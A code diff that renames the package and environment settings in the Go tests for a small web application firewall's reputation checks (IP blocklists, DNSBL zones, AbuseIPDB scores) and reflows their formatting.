t.Errorf("bans %+v, want only the one held", got) t.Errorf("bans %+v, want only the one held", got)
} }
@@ -453,16 +385,12 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
notes, _ := waiting[0].Detail["notes"].(bans.Notes) notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 || if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden { notes.Request.Status != http.StatusForbidden {
t.Errorf( t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
"the alert's notes are %+v, want two refusals, the last answered 403", notes)
notes,
)
} }
alert := banAlert(alerts.EventBan, start, client, bans.Ban{ alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes, Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour))) }, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
@@ -1,4 +1,4 @@
package waf package discriminator
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and // What the reputation heuristics share: blocklists, crowdsec, dnsbl and
// abuseipdb. // abuseipdb.
@@ -8,7 +8,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
) )
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_DNSBL_ABUSEIPDB_ACTION that // deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
// refuses the requests of a client a source lists. // refuses the requests of a client a source lists.
const deny = "deny" const deny = "deny"
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"fmt" "fmt"
@@ -15,20 +15,20 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The reputation settings. // The reputation settings.
const ( const (
blocklistURLs = "SWW_WAF_BLOCKLIST_URLS" blocklistURLs = "SWW_BLOCKLIST_URLS"
blocklistAction = "SWW_WAF_BLOCKLIST_ACTION" blocklistAction = "SWW_BLOCKLIST_ACTION"
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL" asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
) )
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_DNSBL_ABUSEIPDB_ACTION: // The actions of SWW_BLOCKLIST_ACTION and SWW_REPUTATION_ACTION:
// limitHalf gives a listed client half of every limit, and limitQuarter a // limitHalf gives a listed client half of every limit, and limitQuarter a
// quarter. // quarter.
const ( const (
@@ -39,16 +39,14 @@ const (
) )
// The lists these tests name, which are never fetched: each test puts in // The lists these tests name, which are never fetched: each test puts in
// the copies it needs, as lists.json would at start. // the copies it needs, as reputation.json would at start.
const ( const (
dropURL = "https://lists.example/drop.txt" dropURL = "https://lists.example/drop.txt"
torURL = "https://lists.example/tor.txt" torURL = "https://lists.example/tor.txt"
asnURL = "https://lists.example/asn.txt" asnURL = "https://lists.example/asn.txt"
) )
func TestEachBlocklistActionForAListedAddressAndAListedNetblock( func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
@@ -92,23 +90,14 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(
for i := range 3 { for i := range 3 {
line := s.get(from, tc.statuses[i], tc.actions[i]) line := s.get(from, tc.statuses[i], tc.actions[i])
wantReputation(t, line, dropURL) wantReputation(t, line, dropURL)
wantPercent( wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
t, line.RateLimitPercentSetting, tc.percent)
"rate_limit_percent",
line.RateLimitPercent,
line.RateLimitPercentSetting,
tc.percent,
)
// A request refused for the list is not counted. // A request refused for the list is not counted.
counted := line.fields["counts"] != nil counted := line.fields["counts"] != nil
if counted != (tc.actions[i] != denied) { if counted != (tc.actions[i] != denied) {
t.Errorf( t.Errorf("request from %s counted %t, logged %s", from, counted,
"request from %s counted %t, logged %s", tc.actions[i])
from,
counted,
tc.actions[i],
)
} }
} }
} }
@@ -123,29 +112,26 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(
} }
// A refusal for the list makes no ban. // A refusal for the list makes no ban.
if held := server.Ledger.Snapshot(); tc.action == actionDeny && if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
len(held) != 0 {
t.Errorf("bans %+v, want none", held) t.Errorf("bans %+v, want none", held)
} }
}) })
} }
} }
func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient( func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
heuristic string heuristic string
env map[string]string env map[string]string
load func(*testing.T, *waf.Server) load func(*testing.T, *discriminator.Server)
figures string figures string
}{ }{
{ {
"blocklists", "blocklists",
map[string]string{blocklistURLs: dropURL, blocklistAction: actionDeny}, map[string]string{blocklistURLs: dropURL, blocklistAction: actionDeny},
func(t *testing.T, server *waf.Server) { func(t *testing.T, server *discriminator.Server) {
t.Helper() t.Helper()
loadLists(t, server, map[string][]string{dropURL: {client}}) loadLists(t, server, map[string][]string{dropURL: {client}})
}, },
@@ -155,17 +141,17 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
"dnsbl", "dnsbl",
map[string]string{ map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblZones: dnsblZone, dnsblResolver: noResolver,
dnsblAbuseIPDBAction: actionDeny, reputationAction: actionDeny,
}, },
func(_ *testing.T, server *waf.Server) { func(_ *testing.T, server *discriminator.Server) {
loadVerdicts(server, map[string][]string{client: {dnsblZone}}) loadVerdicts(server, map[string][]string{client: {dnsblZone}})
}, },
`{"zones": ["` + dnsblZone + `"]}`, `{"zones": ["` + dnsblZone + `"]}`,
}, },
{ {
"abuseipdb", "abuseipdb",
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny}, map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
func(_ *testing.T, server *waf.Server) { func(_ *testing.T, server *discriminator.Server) {
loadScores(server, map[string]int64{client: 80}) loadScores(server, map[string]int64{client: 80})
}, },
`{"score": 80, "min_score": 75}`, `{"score": 80, "min_score": 75}`,
@@ -177,11 +163,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
s, server, _ := startWithLookups(t, tc.env) s, server, _ := startWithLookups(t, tc.env)
tc.load(t, server) tc.load(t, server)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
client,
http.StatusForbidden,
requestlog.ActionClientDenied,
)
wantHeuristic(t, line, tc.heuristic, tc.figures) wantHeuristic(t, line, tc.heuristic, tc.figures)
}) })
} }
@@ -196,19 +178,14 @@ func TestBlocklistsComeAfterAllowedCountriesAndSkipAllowNets(t *testing.T) {
loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}}) loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}})
// fromKP's country refuses it before the list is looked at, and fromDE, // fromKP's country refuses it before the list is looked at, and fromDE,
// in SWW_WAF_ALLOW_NETS, is not checked at all: neither is noted, nor // in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor
// alerted. // alerted.
wantReputation( wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied))
t,
s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
)
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
wantAlerts(t, queue) wantAlerts(t, queue)
} }
func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt( func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{ s, server, queue := startWithLookups(t, map[string]string{
@@ -226,9 +203,7 @@ func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(
} }
} }
func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit( func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -263,19 +238,13 @@ func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(
tc.want) tc.want)
if line.LimitHit != tc.limitHit { if line.LimitHit != tc.limitHit {
t.Errorf( t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
"log line has limit_hit %q, want %q",
line.LimitHit,
tc.limitHit,
)
} }
}) })
} }
} }
func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning( func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const ( const (
@@ -308,8 +277,8 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(
}, },
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none}, {"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
{ {
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT's in place of the file's for the byte limits", "SWW_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
map[string]string{asnBytesLimitPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none, map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
@@ -319,11 +288,7 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
s, server, _ := startWithLookups(t, env) s, server, _ := startWithLookups(t, env)
loadLists( loadLists(t, server, map[string][]string{asnURL: {"# by AS number", tc.file}})
t,
server,
map[string][]string{asnURL: {"# by AS number", tc.file}},
)
line := s.uploadFrom(fromDE) line := s.uploadFrom(fromDE)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
@@ -348,21 +313,13 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
blocklistAction: actionLog, blocklistAction: actionLog,
metricsToken: token, metricsToken: token,
}) })
loadLists( loadLists(t, server, map[string][]string{dropURL: {fromDE}, torURL: {fromDE}})
t,
server,
map[string][]string{dropURL: {fromDE}, torURL: {fromDE}},
)
// The second request's alerts are repeats, which the cooldown holds // The second request's alerts are repeats, which the cooldown holds
// back. // back.
for range 2 { for range 2 {
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t, dropURL, torURL)
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
dropURL,
torURL,
)
} }
hit := func(source string) alerts.Alert { hit := func(source string) alerts.Alert {
@@ -383,10 +340,7 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
wantAlerts(t, queue, hit(dropURL), hit(torURL)) wantAlerts(t, queue, hit(dropURL), hit(torURL))
if queue.Suppressed() != 2 { if queue.Suppressed() != 2 {
t.Errorf( t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed())
"%d alerts held back, want the second request's 2",
queue.Suppressed(),
)
} }
// Each list's hits, none of its fetches failed, and when its copy was // Each list's hits, none of its fetches failed, and when its copy was
@@ -406,25 +360,21 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
} }
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric( wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
t, want.fetched)
metrics,
"sww_reputation_last_fetch_timestamp_seconds"+labels,
want.fetched,
)
} }
} }
// The DNSBL settings. // The DNSBL settings.
const ( const (
dnsblZones = "SWW_WAF_DNSBL_ZONES" dnsblZones = "SWW_DNSBL_ZONES"
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER" dnsblResolver = "SWW_DNSBL_RESOLVER"
dnsblAbuseIPDBAction = "SWW_WAF_DNSBL_ABUSEIPDB_ACTION" reputationAction = "SWW_REPUTATION_ACTION"
) )
// The DNSBL zones these tests name, which are never asked about the // The DNSBL zones these tests name, which are never asked about the
// clients the tests send requests from: each test puts in the verdicts it // clients the tests send requests from: each test puts in the verdicts it
// needs, as dnsbl.json would at start. A query a test does start is // needs, as reputation.json would at start. A query a test does start is
// sent to noResolver, where nothing listens, so that none leaves the host. // sent to noResolver, where nothing listens, so that none leaves the host.
const ( const (
dnsblZone = "dnsbl.example" dnsblZone = "dnsbl.example"
@@ -453,7 +403,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
// Half of 4 requests a minute: the third breaks the limit. // Half of 4 requests a minute: the third breaks the limit.
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
[]string{forward, forward, requestlog.ActionClientIsRateLimited}, []string{forward, forward, requestlog.ActionClientIsRateLimited},
"50 from " + dnsblAbuseIPDBAction, "50 from " + reputationAction,
}, },
{ {
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK}, actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
@@ -465,32 +415,26 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
s, server, _ := startWithLookups(t, map[string]string{ s, server, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, dnsblZones: dnsblZone + "," + otherZone, rateLimitPerMinute: fourAMinute, dnsblZones: dnsblZone + "," + otherZone,
dnsblResolver: noResolver, dnsblAbuseIPDBAction: tc.action, dnsblResolver: noResolver, reputationAction: tc.action,
}) })
listedBy := map[string][]string{ listedBy := map[string][]string{
fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, unplaced: nil,
unplaced: nil,
} }
loadVerdicts(server, listedBy) loadVerdicts(server, listedBy)
for _, from := range []string{fromDE, fromKP} { for _, from := range []string{fromDE, fromKP} {
for i := range 3 { for i := range 3 {
line := s.get(from, tc.statuses[i], tc.actions[i]) line := s.get(from, tc.statuses[i], tc.actions[i])
// In the order SWW_WAF_DNSBL_ZONES names them. // In the order SWW_DNSBL_ZONES names them.
wantReputation(t, line, listedBy[from]...) wantReputation(t, line, listedBy[from]...)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercentSetting, tc.percent)
tc.percent)
// A request refused for the verdict is not counted. // A request refused for the verdict is not counted.
counted := line.fields["counts"] != nil counted := line.fields["counts"] != nil
if counted != (tc.actions[i] != denied) { if counted != (tc.actions[i] != denied) {
t.Errorf( t.Errorf("request from %s counted %t, logged %s", from, counted,
"request from %s counted %t, logged %s", tc.actions[i])
from,
counted,
tc.actions[i],
)
} }
} }
} }
@@ -506,8 +450,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
// A refusal for the verdict makes no ban, and every client had its // A refusal for the verdict makes no ban, and every client had its
// verdicts, so no zone was asked. // verdicts, so no zone was asked.
if held := server.Ledger.Snapshot(); tc.action == actionDeny && if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
len(held) != 0 {
t.Errorf("bans %+v, want none", held) t.Errorf("bans %+v, want none", held)
} }
@@ -523,30 +466,21 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
s, server, queue := startWithLookups(t, map[string]string{ s, server, queue := startWithLookups(t, map[string]string{
blocklistURLs: dropURL, dnsblZones: dnsblZone, dnsblResolver: noResolver, blocklistURLs: dropURL, dnsblZones: dnsblZone, dnsblResolver: noResolver,
dnsblAbuseIPDBAction: actionDeny, allowNets: fromDE, reputationAction: actionDeny, allowNets: fromDE,
}) })
loadLists(t, server, map[string][]string{dropURL: {fromKP}}) loadLists(t, server, map[string][]string{dropURL: {fromKP}})
loadVerdicts( loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}})
server,
map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}},
)
// The blocklist refuses fromKP before its verdict is looked at, and // The blocklist refuses fromKP before its verdict is looked at, and
// fromDE, in SWW_WAF_ALLOW_NETS, is not checked at all: neither is noted // fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted
// for the zone, nor alerted, nor asked about. // for the zone, nor alerted, nor asked about.
wantReputation( wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
t, dropURL)
s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
dropURL,
)
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Detail["source"] != dropURL { if len(waiting) != 1 || waiting[0].Detail["source"] != dropURL {
t.Errorf( t.Errorf("alerts waiting %+v, want the blocklist's reputation_hit alone", waiting)
"alerts waiting %+v, want the blocklist's reputation_hit alone",
waiting,
)
} }
if queries := server.DNSBL.Queries(dnsblZone); queries != 0 { if queries := server.DNSBL.Queries(dnsblZone); queries != 0 {
@@ -560,23 +494,23 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
for _, tc := range []struct { for _, tc := range []struct {
name string name string
env map[string]string env map[string]string
load func(*waf.Server) load func(*discriminator.Server)
want []string want []string
}{ }{
{ {
"dnsbl", "dnsbl",
map[string]string{ map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog, dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
}, },
func(server *waf.Server) { func(server *discriminator.Server) {
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
}, },
[]string{"asn=64496", "country=DE", "dnsbl=" + dnsblZone}, []string{"asn=64496", "country=DE", "dnsbl=" + dnsblZone},
}, },
{ {
abuseipdb, abuseipdb,
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog}, map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
func(server *waf.Server) { func(server *discriminator.Server) {
loadScores(server, map[string]int64{fromDE: 80}) loadScores(server, map[string]int64{fromDE: 80})
}, },
[]string{abuseipdb, "asn=64496", "country=DE"}, []string{abuseipdb, "asn=64496", "country=DE"},
@@ -588,21 +522,17 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
s, server, _ := startWithLookups(t, tc.env) s, server, _ := startWithLookups(t, tc.env)
tc.load(server) tc.load(server)
wantTags( wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t,
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
tc.want...) tc.want...)
}) })
} }
} }
func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt( func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{ s, server, queue := startWithLookups(t, map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny, dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
mode: observe, mode: observe,
}) })
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
@@ -617,55 +547,43 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
} }
} }
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit( func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
blocklistAction, dnsblAbuseIPDBAction string blocklistAction, reputationAction string
// want is the request's rate_limit_percent and bytes_limit_percent, as // want is the request's rate_limit_percent and bytes_limit_percent, as
// percentText gives them. // percentText gives them.
want string want string
}{ }{
{limitHalf, limitQuarter, "25 from " + dnsblAbuseIPDBAction}, {limitHalf, limitQuarter, "25 from " + reputationAction},
{limitQuarter, limitHalf, "25 from " + blocklistAction}, {limitQuarter, limitHalf, "25 from " + blocklistAction},
// The blocklist's, the first of two alike. // The blocklist's, the first of two alike.
{limitQuarter, limitQuarter, "25 from " + blocklistAction}, {limitQuarter, limitQuarter, "25 from " + blocklistAction},
{actionLog, limitQuarter, "25 from " + dnsblAbuseIPDBAction}, {actionLog, limitQuarter, "25 from " + reputationAction},
{actionLog, actionLog, none}, {actionLog, actionLog, none},
} { } {
t.Run( t.Run(tc.blocklistAction+" "+tc.reputationAction, func(t *testing.T) {
tc.blocklistAction+" "+tc.dnsblAbuseIPDBAction, t.Parallel()
func(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{ s, server, _ := startWithLookups(t, map[string]string{
blocklistURLs: dropURL, blocklistAction: tc.blocklistAction, blocklistURLs: dropURL, blocklistAction: tc.blocklistAction,
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblZones: dnsblZone, dnsblResolver: noResolver,
dnsblAbuseIPDBAction: tc.dnsblAbuseIPDBAction, reputationAction: tc.reputationAction,
}) })
loadLists(t, server, map[string][]string{dropURL: {fromDE}}) loadLists(t, server, map[string][]string{dropURL: {fromDE}})
loadVerdicts( loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
server,
map[string][]string{fromDE: {dnsblZone}},
)
// Named by the blocklist, then by the zone. // Named by the blocklist, then by the zone.
line := s.get( line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
fromDE, wantReputation(t, line, dropURL, dnsblZone)
http.StatusOK, wantPercent(t, "rate_limit_percent",
requestlog.ActionForward, line.RateLimitPercent, line.RateLimitPercentSetting,
) tc.want)
wantReputation(t, line, dropURL, dnsblZone) wantPercent(t, "bytes_limit_percent",
wantPercent(t, "rate_limit_percent", line.BytesLimitPercent, line.BytesLimitPercentSetting,
line.RateLimitPercent, line.RateLimitPercentSetting, tc.want)
tc.want) })
wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
tc.want)
},
)
} }
} }
@@ -676,7 +594,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver, dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver,
dnsblAbuseIPDBAction: actionLog, metricsToken: token, reputationAction: actionLog, metricsToken: token,
}) })
loadVerdicts(server, map[string][]string{ loadVerdicts(server, map[string][]string{
fromDE: {dnsblZone, otherZone}, unplaced: nil, fromDE: {dnsblZone, otherZone}, unplaced: nil,
@@ -685,12 +603,8 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
// The second request's alerts are repeats, which the cooldown holds // The second request's alerts are repeats, which the cooldown holds
// back. // back.
for range 2 { for range 2 {
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t, dnsblZone, otherZone)
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
dnsblZone,
otherZone,
)
} }
hit := func(zone string) alerts.Alert { hit := func(zone string) alerts.Alert {
@@ -711,10 +625,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
wantAlerts(t, queue, hit(dnsblZone), hit(otherZone)) wantAlerts(t, queue, hit(dnsblZone), hit(otherZone))
if queue.Suppressed() != 2 { if queue.Suppressed() != 2 {
t.Errorf( t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed())
"%d alerts held back, want the second request's 2",
queue.Suppressed(),
)
} }
// Each zone's hits, and its queries and their failures, none, since // Each zone's hits, and its queries and their failures, none, since
@@ -740,24 +651,17 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
) )
s, server, queue := startWithLookups(t, map[string]string{ s, server, queue := startWithLookups(t, map[string]string{
dnsblZones: keyed, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog, dnsblZones: keyed, dnsblResolver: noResolver, reputationAction: actionLog,
metricsToken: token, metricsToken: token,
}) })
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil}) loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), masked)
t,
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
masked,
)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Detail["source"] != masked { if len(waiting) != 1 || waiting[0].Detail["source"] != masked {
t.Errorf( t.Errorf("alerts waiting %+v, want a reputation_hit alert from %s", waiting,
"alerts waiting %+v, want a reputation_hit alert from %s", masked)
waiting,
masked,
)
} }
metrics := s.scrape() metrics := s.scrape()
@@ -773,9 +677,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
} }
} }
func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt( func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{ s, server, _ := startWithLookups(t, map[string]string{
@@ -791,11 +693,7 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(
// request finds the query under way, or the zone left alone after it // request finds the query under way, or the zone left alone after it
// failed, since nothing answers at noResolver. // failed, since nothing answers at noResolver.
for range 2 { for range 2 {
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), otherZone)
t,
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
otherZone,
)
} }
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 { if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
@@ -809,7 +707,7 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(
// The AbuseIPDB settings, and accountKey, the key the tests set. // The AbuseIPDB settings, and accountKey, the key the tests set.
const ( const (
abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY" abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
accountKey = "abuseipdb-key-0123456789abcdef" accountKey = "abuseipdb-key-0123456789abcdef"
) )
@@ -817,7 +715,7 @@ const (
// AbuseIPDB. // AbuseIPDB.
const abuseipdb = reputation.AbuseIPDBSource const abuseipdb = reputation.AbuseIPDBSource
// abuseIPDBURL is where newWAF has clients checked with AbuseIPDB: at // abuseIPDBURL is where newDiscriminator has clients checked with AbuseIPDB: at
// abuseIPDBStandIn, which TestMain registers with Go's default transport, // abuseIPDBStandIn, which TestMain registers with Go's default transport,
// through which AbuseIPDB is asked. // through which AbuseIPDB is asked.
const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check" const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
@@ -827,29 +725,23 @@ const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
type abuseIPDBStandIn struct{} type abuseIPDBStandIn struct{}
// RoundTrip answers req with the score 100. // RoundTrip answers req with the score 100.
func (abuseIPDBStandIn) RoundTrip( func (abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
req *http.Request,
) (*http.Response, error) {
return &http.Response{ return &http.Response{
StatusCode: http.StatusOK, StatusCode: http.StatusOK,
Status: "200 OK", Status: "200 OK",
Header: http.Header{}, Header: http.Header{},
Body: io.NopCloser( Body: io.NopCloser(strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`)),
strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`), Request: req,
),
Request: req,
}, nil }, nil
} }
func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB( func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
forward := requestlog.ActionForward forward := requestlog.ActionForward
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{ s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
